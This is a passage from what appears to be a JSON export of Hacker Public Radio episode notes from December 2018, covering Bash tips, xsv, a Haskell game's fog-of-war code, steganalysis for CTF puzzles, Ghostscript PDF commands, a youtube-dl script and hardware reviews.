                                                            So please stop in. Say “Hi” and maybe join in the conversation with other HPR listeners and contributors. It’s always a good time.

                                                            \n

                                                            New podcast - Libre Lounge

                                                            \n

                                                            Libre Lounge

                                                            \n

                                                            Quoted from the site:

                                                            \n
                                                            \n

                                                            Libre Lounge is a podcast where we casually discuss various topics involving user freedom, crossing free software, free culture, network and hosting freedom, and libre hardware designs. We discuss everything from policy and licensing to deep dives on technical topics… whatever seems interesting that week. At some point we might even have guests!

                                                            \n
                                                            \n

                                                            Internet Archive funding drive

                                                            \n

                                                            As you know, HPR uploads all current episodes to the Internet Archive at https://archive.org, and is in the process of uploading older shows, so we are particularly keen that this amazing service continues.

                                                            \n

                                                            The Internet Archive is currently fundraising. Donations are currently being matched by a generous supporter, so this will double your impact if you are able to donate.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Over the period tags and/or summaries have been added to 23 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2697,"date":"2018-12-04","title":"The Linux Shutdown Command Explained","duration":402,"summary":"A short pod cast about the linux shutdown command","notes":"

                                                            \nA short podcast about the shutdown command \n

                                                            \n

                                                            \nhttps://linuxhandbook.com/linux-shutdown-command/\n

                                                            ","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux,shutdown","version":0,"downloads":0,"valid":1}, {"id":2698,"date":"2018-12-05","title":"XSV for fast CSV manipulations - Part 1","duration":1837,"summary":"Written in Rust, xsv is my new favorite tool for manipulating csv files","notes":"

                                                            XSV for fast CSV manipulations - Part 1: Basic Usage

                                                            \n
                                                            \n

                                                            https://github.com/BurntSushi/xsv

                                                            \n
                                                            \n

                                                            Introduction

                                                            \n

                                                            xsv is a command line program for indexing, slicing, analyzing, splitting and joining CSV files. Commands should be simple, fast and composable:

                                                            \n
                                                              \n
                                                            1. Simple tasks should be easy.
                                                            2. \n
                                                            3. Performance trade offs should be exposed in the CLI interface.
                                                            4. \n
                                                            5. Composition should not come at the expense of performance.
                                                            6. \n
                                                            \n

                                                            We will be using the CSV file provided in the documentation.

                                                            \n

                                                            Commands covered in this episode

                                                            \n
                                                              \n
                                                            • count - Count the rows of CSV data
                                                            • \n
                                                            • headers - Show the headers of CSV data, or show the intersection of all headers between many CSV files
                                                            • \n
                                                            • index - Create an index for a CSV file. This is very quick and provides constant time indexing into the CSV file.
                                                            • \n
                                                            • frequency - Build frequency tables of each column in CSV data.
                                                            • \n
                                                            • stats - Show basic types and statistics of each column in the CSV file. (i.e., mean, standard deviation, median, range, etc.)
                                                            • \n
                                                            • sort - Sort CSV data
                                                            • \n
                                                            • select - Select or re-order columns from CSV data.
                                                            • \n
                                                            • slice - Slice rows from any part of a CSV file. When an index is present, this only has to parse the rows in the slice (instead of all rows leading up to the start of the slice).
                                                            • \n
                                                            • search - Run a regex over CSV data. Applies the regex to each field individually and shows only matching rows.
                                                            • \n
                                                            • table - Show aligned output of any CSV data using elastic tabstops.
                                                            • \n
                                                            • flatten - A flattened view of CSV records. Useful for viewing one record at a time.
                                                            • \n
                                                            \n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CSV,XSV","version":0,"downloads":0,"valid":1}, {"id":2699,"date":"2018-12-06","title":"Bash Tips - 15","duration":1794,"summary":"Some of the pitfalls when using loops in Bash","notes":"

                                                            Bash Tips - 15 (More auxiliary Bash tips)

                                                            \n

                                                            Pitfalls for the unwary Bash loop user

                                                            \n

                                                            This is the fifteenth episode covering useful tips for Bash users. In the last episode we looked at the 'for' loop, and prior to that we looked at 'while' and 'until' loops. In this one I want to look at some of the loop-related issues that can trip up the unwary user.

                                                            \n

                                                            Loops in Bash are extremely useful, and they are not at all difficult to use in their basic forms. However, there are some perhaps less than obvious issues that can result in unexpected behaviour.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,loop,ls,pipe,pipeline,find,extglob","version":0,"downloads":0,"valid":1}, {"id":2700,"date":"2018-12-07","title":"Episode 3000","duration":26830,"summary":"We commemorate the 300 Today with a Techie and 2700 Hacker Public Radio shows","notes":"

                                                            \nOn the 19th of September 2005 a group of individuals got together to release their first show on the podcast network \"Today with a Techie\".\n

                                                            \n

                                                            \nThe idea was to share knowledge through podcasting. Now 13 years, 2 months, 19 days later the project is still going strong, and you dear listener are a part of it.\n

                                                            \n

                                                            \nToday marks the 2700th episode of \"Hacker Public Radio\" and coupled with the 300 shows from \"Today with a Techie\", marks the 3000th episode of this project.\n

                                                            \n

                                                            \nA big thanks goes out to all 354 individual hosts who together contributed 1452 hours of shows to the archive. \n

                                                            \n

                                                            \nThere is about 50 giga bytes of mp3 files alone. \n

                                                            \n

                                                            \nWhich played back to back gives 60 days 11 hours 40 minutes 21 seconds of continuous play. \n

                                                            \n

                                                            \nIf you started listening today and played the shows 24 x 7 you wouldn't be finished listening until Monday, February 5th, 2019.\n

                                                            \n

                                                            \nOf course by then there would be 39 additional shows released, so you still wouldn't be finished.\n

                                                            \n

                                                            \nDespite all this we still don't have a wikipedia page. If you can, please take the time to create one for us. There is plenty of supporting information in the \"In the Press\" section of our about page.\n

                                                            \n

                                                            \nSo to mark the 3000th episode we are going to do nothing more than list the shows, host and summary where available.\n

                                                            \n

                                                            \nJust doing that alone creates a whopping 7 and a half hour episode. \n

                                                            \n

                                                            \nAre you l33t enough to listen to it all ?\n

                                                            \n

                                                            \nLet's go.\n

                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"TWaT, HPR, 3000","version":0,"downloads":0,"valid":1}, {"id":2701,"date":"2018-12-10","title":"First impressions of the Odroid-go","duration":1926,"summary":"I ramble on about my first impressions of the odroid-go","notes":"

                                                            I ramble on about my impressions of the Odroid-go, a 32 USD handheld system similar to a gameboy built to run game system emulators and various other free software. It’s also built to be harcked.

                                                            \n

                                                            https://wiki.odroid.com/odroid_go/odroid_go

                                                            \n

                                                            The summary is this is an easy to put together kit requiring no soldering, and runs classic console emulators pretty well. Well worth the 32 USD plus shipping in my opinion. Claims 10 hours of game play and that seems about right so far for me.

                                                            \n

                                                            The systems emulated out of the box are:

                                                            \n

                                                            NES, Game Gear, Gameboy, Gameboy Color, Sega Master System, ColecoVision. Other systems of similar or earlier vintages have emulators that you have to install separately and boot into to run. I don’t think it will emulate newer systems. No Gameboy Advance emulator and I don’t see a Mame emulator. However, I do think this ‘might’ support Mame for some of the early arcade games like Asteroids and Space Invaders.

                                                            ","hostid":151,"series":103,"explicit":0,"license":"CC-0","tags":"Odroid-go","version":0,"downloads":0,"valid":1}, {"id":2702,"date":"2018-12-11","title":"Audacity set up and response to episode 2658","duration":107,"summary":"Just a quick response to Ep2658","notes":"

                                                            Hi Guys and Girls in HPR land.

                                                            \n

                                                            This is Tony Hughes in Blackpool in the UK back for another show. I normally talk about my own stuff but while it is related to what I have been doing lately this is a response to Al’s interview with Dave in Episode 2658 and how to setup Audacity to record and edit audio for best sound quality when podcasting.

                                                            \n

                                                            I’ve recently joined the mintCast podcast team and have been editing and doing the post production of the audio recording for the last couple of episodes. The information that Dave provided during the show was invaluable in helping me in this task, I also have to give a shout out to Rob the previous host who also spent an hour and a half giving a tutorial on his post production work flow, but the additional information given by Dave in this show was also a big help.

                                                            \n

                                                            I’ve now purchased a boom arm and pop filter for my mic to reduce any artefacts in the recording although as it is still attached to my desk I think I may need to invest in a shock mount although I’m not sure how it will attach to my current Boom arm. Ah well that’s a problem for another day.

                                                            \n

                                                            As I said this was just a shout out to Al and Dave to say thanks for the show and I will save it for another day to do a show on my new post production work flow on the mintCast audio.

                                                            \n

                                                            This is Tony Hughes saying goodbye for now.

                                                            \n

                                                            https://mintcast.org/about-the-authors/tonyh/
                                                            \nth@mintcast.org

                                                            \n

                                                            https://hackerpublicradio.org/eps.php?id=2658

                                                            ","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio,Audacity","version":0,"downloads":0,"valid":1}, {"id":2703,"date":"2018-12-12","title":"Fog of war in Yesod based game","duration":1515,"summary":"How to implement fog of war system in turn based web game","notes":"

                                                            Duality of the universe: there's true state of the universe used in simulation and there's state the the players perceive. These most likely will always be in conflict. One possible solution is to separate these completely. Perform simulation in one system and record what players see in other.

                                                            \n\n

                                                            For every type of entity in the game, there's two sets of data: real and reported. Reports are tied to time and faction. Examples are given for planets. Thus, we have Planet, PlanetReport and CollatedPlanetReport. First is the real entity, second is report of that entity tied in time and faction. Third one is aggregated information a faction has of given entity. In database two first ones are:

                                                            \n\n
                                                            \nPlanet json\n    name Text\n    position Int\n    starSystemId StarSystemId\n    ownerId FactionId Maybe\n    gravity Double\n    SystemPosition starSystemId position\n    deriving Show\n\nPlanetReport json\n    planetId PlanetId\n    ownerId  FactionId Maybe\n    starSystemId StarSystemId\n    name Text Maybe\n    position Int Maybe\n    gravity Double Maybe\n    factionId FactionId\n    date Int\n    deriving Show\n
                                                            \n

                                                            Third one is defined as a datatype:

                                                            \n\n
                                                            \ndata CollatedPlanetReport = CollatedPlanetReport\n    { cprPlanetId :: Key Planet\n    , cprSystemId :: Key StarSystem\n    , cprOwnerId  :: Maybe (Key Faction)\n    , cprName     :: Maybe Text\n    , cprPosition :: Maybe Int\n    , cprGravity  :: Maybe Double\n    , cprDate     :: Int\n    } deriving Show\n
                                                            \n\n

                                                            Data from database need to be transformed before working on it. Usually it's 1:1 mapping, but sometimes it makes sense to enrich it (turning IDs into names for example). For this we use ReportTransform type class:

                                                            \n\n
                                                            \n-- | Class to transform a report stored in db to respective collated report\nclass ReportTransform a b where\n    fromReport :: a -> b\n\ninstance ReportTransform PlanetReport CollatedPlanetReport where\n    fromReport report =\n\tCollatedPlanetReport (planetReportPlanetId report)\n\t\t\t     (planetReportStarSystemId report)\n\t\t\t     (planetReportOwnerId report)\n\t\t\t     (planetReportName report)\n\t\t\t     (planetReportPosition report)\n\t\t\t     (planetReportGravity report)\n\t\t\t     (planetReportDate report)\n
                                                            \n\n

                                                            To easily combine bunch of collated reports together, we define instances\n of semigroup and monoid for collated report data.\n Semigroup defines an associative binary operation (<>) and monoid defines a zero or empty item (mempty). My explanation about Monoid and Semigroup were a bit rambling, so maybe have a look at https://wiki.haskell.org/Monoid which explains it in detail.

                                                            \n\n
                                                            \ninstance Semigroup CollatedPlanetReport where\n    (<>) a b = CollatedPlanetReport (cprPlanetId a)\n\t\t\t\t    (cprSystemId a)\n\t\t\t\t    (cprOwnerId a <|> cprOwnerId b)\n\t\t\t\t    (cprName a <|> cprName b)\n\t\t\t\t    (cprPosition a <|> cprPosition b)\n\t\t\t\t    (cprGravity a <|> cprGravity b)\n\t\t\t\t    (max (cprDate a) (cprDate b))\n\ninstance Monoid CollatedPlanetReport where\n    mempty = CollatedPlanetReport (toSqlKey 0) (toSqlKey 0) Nothing Nothing Nothing Nothing 0\n
                                                            \n\n

                                                            In some cases there might be a list of collated reports that are about different entities of same type (several reports for every planet in solar system). For those cases, we need a way to tell what reports belong together:

                                                            \n\n
                                                            \n-- | Class to indicate if two reports are about same entity\nclass Grouped a where\n    sameGroup :: a -> a -> Bool\n\ninstance Grouped PlanetReport where\n    sameGroup a b =\n\tplanetReportPlanetId a == planetReportPlanetId b\n
                                                            \n\n

                                                            After this, processing a list of reports for same entity is short amount of very general code:

                                                            \n\n
                                                            \n-- | Combine list of reports and form a single collated report\n--   Resulting report will have facts from the possibly partially empty reports\n--   If a fact is not present for a given field, Nothing is left there\ncollateReport :: (Monoid a, ReportTransform b a) => [b] -> a\ncollateReport reports = mconcat (map fromReport reports)\n
                                                            \n\n

                                                            For reports of multiple entities is bit more complex, as they need to be sorted first, but the code is similarly general:

                                                            \n\n
                                                            \n-- | Combine list of reports and form a list of collated reports\n--   Each reported entity is given their own report\ncollateReports :: (Grouped b, Monoid a, ReportTransform b a) => [b] -> [a]\ncollateReports [] = []\ncollateReports s@(x:_) = collateReport itemsOfKind : collateReports restOfItems\n    where split = span (sameGroup x) s\n\t  itemsOfKind = fst split\n\t  restOfItems = snd split\n
                                                            \n\n

                                                            Final step is to either render reports as HTML or send them as JSON back to client. For JSON case we need one more type class instance (ToJSON) that can be automatically generated. After that handler function can be defined. After authenticating the user and checking that they are member of a faction, reports of specific planet (defined by its primary key) are retrieved from database, collated, turned into JSON and sent back to client:

                                                            \n\n
                                                            \n$(deriveJSON defaultOptions {fieldLabelModifier = drop 3} ''CollatedPlanetReport)\n\ngetApiPlanetR :: Key Planet -> Handler Value\ngetApiPlanetR planetId = do\n    (_, _, fId) <- apiRequireFaction\n    loadedPlanetReports <- runDB $ selectList [ PlanetReportPlanetId ==. planetId\n\t\t\t\t\t      , PlanetReportFactionId ==. fId ] [ Asc PlanetReportDate ]\n    let planetReport = collateReport $ map entityVal loadedPlanetReports :: CollatedPlanetReport\n    return $ toJSON planetReport\n
                                                            \n\n

                                                            For those interested seeing some code, source is available at https://github.com/Tuula/deep-sky/ (https://github.com/Tuula/deep-sky/tree/baa0807dd36b61fd02174b17c10013862af4ec18 is situation before lots of Elm related changes that I mentioned in passing in the previous episode)

                                                            \n\n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, yesod","version":0,"downloads":0,"valid":1}, {"id":2704,"date":"2018-12-13","title":"Intro to Scribus","duration":2380,"summary":"Klaatu provides an overview of Scribus in part 1 of a mini-series about steganography","notes":"

                                                            Scribus is a page layout application. If you are familiar with common publishing industry tools, then Scribus will be very familiar to you, but if you're used to word processors or graphic applications, then Scribus will probably confuse you. In this episode, Klaatu talks about the workflow of page layout, and how to do some basic tasks in Scribus.\n

                                                            \n\n

                                                            The example files Klaatu produces in Scribus are available at https://slackermedia.info/tank/scribus-by-example.tar.gz

                                                            \n\n

                                                            Fair warning: this episode is actually \"about\" steganography. The key you need is OGG.

                                                            ","hostid":78,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"design, steganography, scribus, layout","version":0,"downloads":0,"valid":1}, {"id":2705,"date":"2018-12-14","title":"Evidence-based Medicine","duration":1013,"summary":"Medicine should be based on objective scientific evidence","notes":"

                                                            Basing medical care and treatment on the scientific evidence should be the norm, but frequently it is not. Doctors may treat based on how they have always done it, or how other doctors do it (i.e. best practices), but there is a movement now to reorient medicine to follow the best scientific guidelines.

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Evidence, Science","version":0,"downloads":0,"valid":1}, {"id":2706,"date":"2018-12-17","title":"Why I love the IBM AS/400 computer systems","duration":1714,"summary":"A short talk about how I came to love the IBM As/400 systems and why.","notes":"

                                                            This is a talk about my love for the IBM family of AS/400 computer systems.

                                                            \n

                                                            Although it’s a very hacker unfriendly system there is still much to admire and love.

                                                            \n

                                                            It’s completely different from anything else which makes it nice but also very likely to disappear in few years from now. To prevent that piece of computing history to vanish I started a small initiative called https://www.as400museum.org/. It’s just me, but it does show my intention with the system.

                                                            \n","hostid":369,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"as400, ibm, computing, midrange","version":0,"downloads":0,"valid":1}, {"id":2707,"date":"2018-12-18","title":"Steganalysis 101","duration":864,"summary":"Steganalysis is the process of identifying the presence of, and decrypting, steganography.","notes":"

                                                            1. Introduction

                                                            \n

                                                            Hello and welcome to Hacker Public Radio, I’m Edward Miro and I’ve been a fan of HPR for a while now and really love its collaborative and random nature. It’s always been important for me to support the hacking community. I always take any opportunity to give back to this community who have given me so much throughout the years. I’ve also always subscribed to the idea that the best way to learn something is by teaching and I hope to do a good job for all you listeners. This talk is on mystical art of steganalysis which is the process of identifying the presence of and decrypting (hopefully) steganography.

                                                            \n

                                                            2. What is steganography?

                                                            \n

                                                            I’m into hacking, but I’m not a professional hacker. Usually I call myself a hobbyist. I like CTFs, crypto challenges, lots of stuff from Vulnhub or OverTheWire, things like that. I’ll provide some links in the end if anyone is interested, but for those who aren’t familiar a CTF, or Capture The Flag, it’s a kind of game that helps you get better at hacking. These days there are tons of VMs that are setup to be intentionally vulnerable to different techniques or attacks. You load the VM and pretend it’s a server you want to attack and follow your standard hacking protocols. Some are setup to be boot to root challenges where you ‘win’ when you get root and some are setup with flags that you can find hidden in the target worth points. There are in person and online CTFs and they’ve gotten pretty popular with the National Cyber League being a major competition. Some are easy, some are really hard and most have really good write-ups that can teach you so much about INFOSEC, penetration testing and actually let you practice the techniques in a relatively easy and legal way.

                                                            \n

                                                            Where steganography comes in to this discussion is that it’s an element you sometimes see used in the kinds of challenges I mentioned previously and also in alternate reality games, online recruitment challenges by national agencies/big tech companies and militarys. They are even used in real world espionage and intelligence work or super spooky secret challenges like Cicada 3301.

                                                            \n

                                                            Simply put steganography (and I’m pasting this straight out of Wikipedia): “is the practice of concealing a file, message, image, or video within another file, message, image, or video”. Steganography is used to hide secrets in plain sight. It’s a way to send a message, without anyone detecting that a message is even being sent.

                                                            \n

                                                            I’ll give you more examples in the next section, but imagine a letter that has a secret written in invisible ink. Only the sender and receiver should know about the invisible ink and any eavesdroppers should be none the wiser. This simple example has been used by countless prisoners whose mail is routinely read and examined. Terrorists and spies the world over also use steganography and are known to embed messages in an image and post it online. With how many image hosting sites there are, with millions of people posting to them billions of images day in and day out, you can see why steganography can be such a challenge to combat. Before I move on to some more specific examples I want to stress again that I’m not an expert on cryptography or steganography. While researching for this podcast it’s overwhelmingly clear that you could spend your whole career focused on only steganography. This talk is just a primer on the subject and only the tip of the iceberg.

                                                            \n

                                                            3. Examples (also from Wikipedia, the great repository of all knowledge)

                                                            \n
                                                              \n
                                                            • Analog:\n
                                                                \n
                                                              • Head shaving
                                                              • \n
                                                              • Invisible ink
                                                              • \n
                                                              • Knots tied into ropes
                                                              • \n
                                                              • Messages hidden under stamps on envelopes
                                                              • \n
                                                              • Mixed typeface
                                                              • \n
                                                              • Using a grille cipher
                                                              • \n
                                                              • Sending messages via newspaper classifieds
                                                              • \n
                                                            • \n
                                                            • Digital:\n
                                                                \n
                                                              • Noise in images or sound files
                                                              • \n
                                                              • Text commented out in source html or other code
                                                              • \n
                                                              • Using different color text
                                                              • \n
                                                              • Fractionalized comments
                                                              • \n
                                                              • Audio signals/spectro
                                                              • \n
                                                              • Hidden control characters and non printing Unicode
                                                              • \n
                                                            • \n
                                                            \n

                                                            The possibilities are almost endless for how this technique can be applied.

                                                            \n

                                                            4. Why should we care?

                                                            \n

                                                            When we are doing a CTF or crypto challenge and are presented with an image or media file we are pretty well assured there’s something in there, though not every image you find while doing a challenge or CTF will utilize steganography so don’t overanalyze. I’ve known people who are really into alternate reality games spending 100s of hours doing spectrographic analysis and for our purpose(and the scope of this podcast), there should be some clue that steganography is being used. The challenge then becomes how we direct our work flow as to not waste any time and be the most efficient in cracking that particular part the puzzle. There are MANY stego tools out there, some of them homebrewed, and unless the designer of the challenge puts in a clue, you might spend hours trying different algorithms or tools. And even if you do, there’s no guarantee you’ll get anything at all. A lot of the tools that will be mentioned in the next section rely on fingerprinting how known algorithms process data. This is not only a big problem for hackers like us with our CTFs and games, but even more so for governments who are charged with keeping us safe. So if you’re looking at possible steganography, you need to build a good workflow and I noticed a post on Reddit a few weeks ago with a user asking about image forensics. There was a comment posted that was so good I forwarded it to my hacking friends and it inspired me to do this podcast. I’m using the comment as a potential framework for my own personal work with images and steganography. It helped me to develop my own protocol and I wanted to share it with you all and if anyone wants to expand on it or improve it please do so. Thank you /u/Alexeyan!

                                                            \n

                                                            5. Proposed work flow

                                                            \n

                                                            This is coming straight out of the post on Reddit. I thought about rewriting it, but it didn’t seem necessary and I will be giving the author full credit. I add a couple more tools on at the bottom and a few closing thoughts:

                                                            \n
                                                              \n
                                                            • First: Look at the image. Maybe it tells you something important.

                                                            • \n
                                                            • Use binwalk to check for other file type signatures in the image file.

                                                            • \n
                                                            • Use Exiftool to check for any interesting exif-metadata.

                                                            • \n
                                                            • Use stegsolve and switch through the layers and look for abnormalities.

                                                            • \n
                                                            • Maybe the Flag is painted in the LSB image, or some QR-Code.

                                                            • \n
                                                            • Maybe there are random pixels that look strange in a certain layer, that’s a hint for Bit-Stego.

                                                            • \n
                                                            • Use zsteg to automatically test the most common bitstegos and sort by %ascii-in-results. (This one auto-solves about 50% of all image stego challenges)

                                                            • \n
                                                            • If the file is a png, you can check if the IDAT chunks are all correct and correctly ordered.

                                                            • \n
                                                            • Check with the strings tool for parts of the flag. If you found for example “CTF{W” in a chunk, check what is on that position in other IDAT chunks.

                                                            • \n
                                                            • The harder ones can be a lot more tricky though.. JPG coefficiency manipulation, Frequency analysis, …

                                                            • \n
                                                            • But usually those are frowned upon, because they require a lot of guessing (if no hiding tool is provided)

                                                            • \n
                                                            \n

                                                            Some other go to tools not mentioned above:

                                                            \n
                                                              \n
                                                            • Stegdetect
                                                            • \n
                                                            • DIIT(Digital Invisible Ink Toolkit )
                                                            • \n
                                                            • StegSecret
                                                            • \n
                                                            • ILook Investigator (for law enforcement)
                                                            • \n
                                                            \n

                                                            Detecting steganography is hard work. There are computer scientists who do only this. While we aren’t at that level for the information being presented here, it will require a lot of digging and trying different tools. Hopefully following these steps will help identify the more common techniques in an easier way than trial and error.

                                                            \n

                                                            One last thing I want to mention is that part of how I see detecting steganography in CTFs or cyptochallenges is having a certain mindset and always looking at things in various layers. I try to look at everything within the challenge as if there could be something right in front of my eyes. I mentally flip through different layers and see the codes within the codes. And remember if you’re playing an alternate reality game, a CTF or a crypto challenge, generally speaking, the designers want you to play through the game. They will leave clues if you need them. They want the players to get to the end. Don’t overthink things.

                                                            \n

                                                            Well that’s all I’ve got for today. I hope you enjoyed this podcast and got something useful out of it. Like I said in the introduction, I’m Edward Miro. Have fun, and good luck!

                                                            \n

                                                            6. Sources

                                                            \n\n","hostid":372,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Steganalysis, steganography","version":0,"downloads":0,"valid":1}, {"id":2708,"date":"2018-12-19","title":"Ghostscript","duration":1351,"summary":"Klaatu talks about manipulating PDFs with gs and pdf-stapler","notes":"

                                                            \nGhostscript is the open source implementation of Postscript. You can read its docs online.\n

                                                            \n\n

                                                            \nTo compress a big PDF into something possibly smaller:\n

                                                            \n\n
                                                            \n$ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dBATCH -sOutputFile=output.pdf example.pdf\n
                                                            \n\n

                                                            \nThat renders basically the same PDF with all images down-res'd to 72 DPI. Other valid setting profiles are ebook, printer, and prepress.\n

                                                            \n\n

                                                            \nTo render a version of a PDF without any raster images in it, making it cheaper and faster to print:\n

                                                            \n\n
                                                            \ngs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dBATCH -dFILTERIMAGE -sOutputFile=output.pdf example.pdf\n
                                                            \n\n

                                                            \nThe FILTERIMAGE option drops raster images from the file. The FILTERVECTOR option filters vector images, and FILTERTEXT filters text.\n

                                                            \n\n

                                                            \nIf pdftk is not available for your OS, you can use pdf-stapler instead for cutting and concatenating PDF files. It doesn't deal with metadata as well as pdftk does, however.

                                                            It's worth noting that pdftk is available as a snap package https://snapcraft.io/pdftk.\n

                                                            \n\n

                                                            \nIt's also worth noting that this is actually episode 2 in a series about steganography.

                                                            \n\n","hostid":78,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"pdf, ebook, bloat, print","version":0,"downloads":0,"valid":1}, {"id":2709,"date":"2018-12-20","title":"Bash Tips - 16","duration":1440,"summary":"Arrays in Bash (part 1)","notes":"

                                                            Bash Tips - 16 (Further auxiliary Bash tips)

                                                            \n

                                                            Arrays in Bash

                                                            \n

                                                            This is the first of a small group of shows on the subject of arrays in Bash. It is also the sixteenth show in the Bash Tips sub-series.

                                                            \n

                                                            We have encountered Bash arrays at various points throughout this sub-series, and have even seen a number of examples, but the subject has never been examined in detail. This group of shows intends to make good this deficiency.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,array,indexed array,associative array","version":0,"downloads":0,"valid":1}, {"id":2710,"date":"2018-12-21","title":"Youtube downloader for channels","duration":844,"summary":"A followup to hpr2675 how you can download an entire youtube channel for local playout","notes":"

                                                            \nI had a very similar problem to Ahuka aka Kevin, in hpr2675 :: YouTube Playlists. I wanted to be able to download an entire youtube channel and store them so that I could play them in the order that they were posted.\n

                                                            \n

                                                            \nAdd the url's to a file called subscriptions.txt.\n

                                                            \n
                                                            \n#LASTRUN: 20181030\n# /home/ken/sourcecode/personal/bestofyoutube/youtube-channel-watcher.bash\n#\n# Big Clive \nhttps://www.youtube.com/channel/UCtM5z2gkrGRuWd0JQMx76qA\t20181030\n# Essential Craftsman\nhttps://www.youtube.com/channel/UCzr30osBdTmuFUS8IfXtXmg\n
                                                            \n

                                                            \nThen run the script\n

                                                            \n
                                                            \n#!/bin/bash\n# Downloads videos from youtube based on selection from https://thebestofyoutube.com\n# (c) Ken Fallon https://kenfallon.com\n# Released under the CC-0\n\nsavepath=\"/mnt/media/Videos/channels\"\nsubscriptions=\"${savepath}/subscriptions.txt\"\nYOUNGERTHAN=\"20010101\"\nRUNDATE=$(date +%Y%m%d)\nyoutubedl=\"/home/ken/sourcecode/youtube-dl/youtube-dl\"\n#DRYRUN=\"echo DEBUG: \"\n\nif [ ! -e \"${subscriptions}\" ]\nthen\n\techo \"Cannot find subscription file \"${subscriptions}\"\"\n\texit 1\nfi\n\nif [ \"$(grep \"#LASTRUN: \" \"${subscriptions}\" | wc -l )\" -eq 0 ]\nthen\n\tsed --follow-symlinks '1s/^/#LASTRUN: n/' -i \"${subscriptions}\"\nfi\n\n# Read the subscriptions\ncat \"${subscriptions}\" | grep -v '#' | while read channel_info\ndo\n\tif [ \"$(echo \"${channel_info}\" | grep -P 't' | wc -l )\" -eq 0 ]\n\tthen\n\t\tDATEAFTER=\"--dateafter ${YOUNGERTHAN}\"\n\telse\n\t\tDATEAFTER=\"--dateafter $(echo \"${channel_info}\" | awk '{print $NF}' )\"\n\tfi\n\tchannel=\"$(echo \"${channel_info}\" | awk '{print $1}' )\"\n\techo \"Processing Channel \"${channel}\" since ${DATEAFTER}\"\n\t${DRYRUN} ${youtubedl} ${DATEAFTER} --ignore-errors --no-mtime --restrict-filenames --format mp4 -o ${savepath}'/%(uploader)s/%(upload_date)s-%(title)s⋄%(id)s.%(ext)s' ${channel}\n\t${DRYRUN} sed --follow-symlinks \"s,${channel}.*$,${channel}t${RUNDATE},g\" -i \"${subscriptions}\"\ndone\n\n${DRYRUN} sed --follow-symlinks \"s/#LASTRUN: .*$/#LASTRUN: ${RUNDATE}/\" -i \"${subscriptions}\"\n
                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"youtube, youtube-dl","version":0,"downloads":0,"valid":1}, {"id":2711,"date":"2018-12-24","title":"Raspberry Pi 3A+ Review","duration":336,"summary":"In this episode of HPR, I will do a quick review of the Raspberry Pi 3A+.","notes":"

                                                            Raspberry Pi 3A+ review

                                                            \n

                                                            In this episode of HPR, I will do a quick review of the Raspberry Pi 3A+, the latest release of the Raspberry Pi foundation.

                                                            \n

                                                            \"Raspberry \"Raspberry

                                                            \n

                                                            Specs
                                                            \nThe Raspberry Pi 3A+ has almost the same hardware as its big brother/sister the 3B+ :

                                                            \n
                                                              \n
                                                            • BCM2837 BO SOC (system on chip), a quad core 64-bit ARM v8 processor, running at 1.4 GHz
                                                            • \n
                                                            • On board wireless :\n
                                                                \n
                                                              • WiFi : 2.4 and 5 GHz 802.11 c/y/n/ac
                                                              • \n
                                                              • Bluetooth : 4.2 and BLE
                                                              • \n
                                                            • \n
                                                            • MicroSD card for storing the operating system and the data
                                                            • \n
                                                            • Full size HDMI connector
                                                            • \n
                                                            • 3.5 mm jack connector for audio and composite video output
                                                            • \n
                                                            • MicroUSB connector for the power supply
                                                            • \n
                                                            • 40-pin header with the same pinout as every other Raspberry Pi
                                                            • \n
                                                            \n

                                                            The differences are :

                                                            \n
                                                              \n
                                                            • Only one full size USB connector, instead of four on the 3B+
                                                            • \n
                                                            • No ethernet connector
                                                            • \n
                                                            • Only 512 MB or SDRAM instead of 1 GB on the 3B+
                                                            • \n
                                                            \n

                                                            Size
                                                            \nThe Raspberry Pi 3A+ is 6.7 x 5.6 cm (2.6 x 2.2 in) and 11 mm high (.45 in). But if you plug a ribbon in the header, then it takes a lot of space.

                                                            \n

                                                            \"Raspberry

                                                            \n

                                                            In this case, it’s probably better to unsolder the header, and solder a right angle header in place, so the pins are pointing to the side of the board and not upwards

                                                            \n

                                                            \"Raspberry \"Raspberry

                                                            \n

                                                            With a bit of caution and the help of some desoldering wick, it’s not a complex operation, because there is no component near the GPIO header.

                                                            \n

                                                            Of course if you plan on using a HAT, then you’re better off using the straight header. The Raspberry Pi 3A+ is actually the same size than a standard HAT.

                                                            \n

                                                            \"Raspberry \"Raspberry

                                                            \n

                                                            Use case
                                                            \n

                                                            \n

                                                            Since the Raspberry Pi 3A+ doesn’t have an ethernet port, I think I will not use it for server stuff like Mosquitto or Pi-Hole, for which a good network connection is required. Also, those servers sometimes need a keyboard and a mouse, and with only one USB port, that’s not too practical.

                                                            \n

                                                            For me, the A+ will be used to upgrade projects currently using a Raspberry Pi ZeroW, and for which I need a little more power. The on board WiFi and the small form factor, combined with the extra power, makes the 3A+ an ideal replacement for the ZeroW.

                                                            \n

                                                            Credits
                                                            \n

                                                            \n

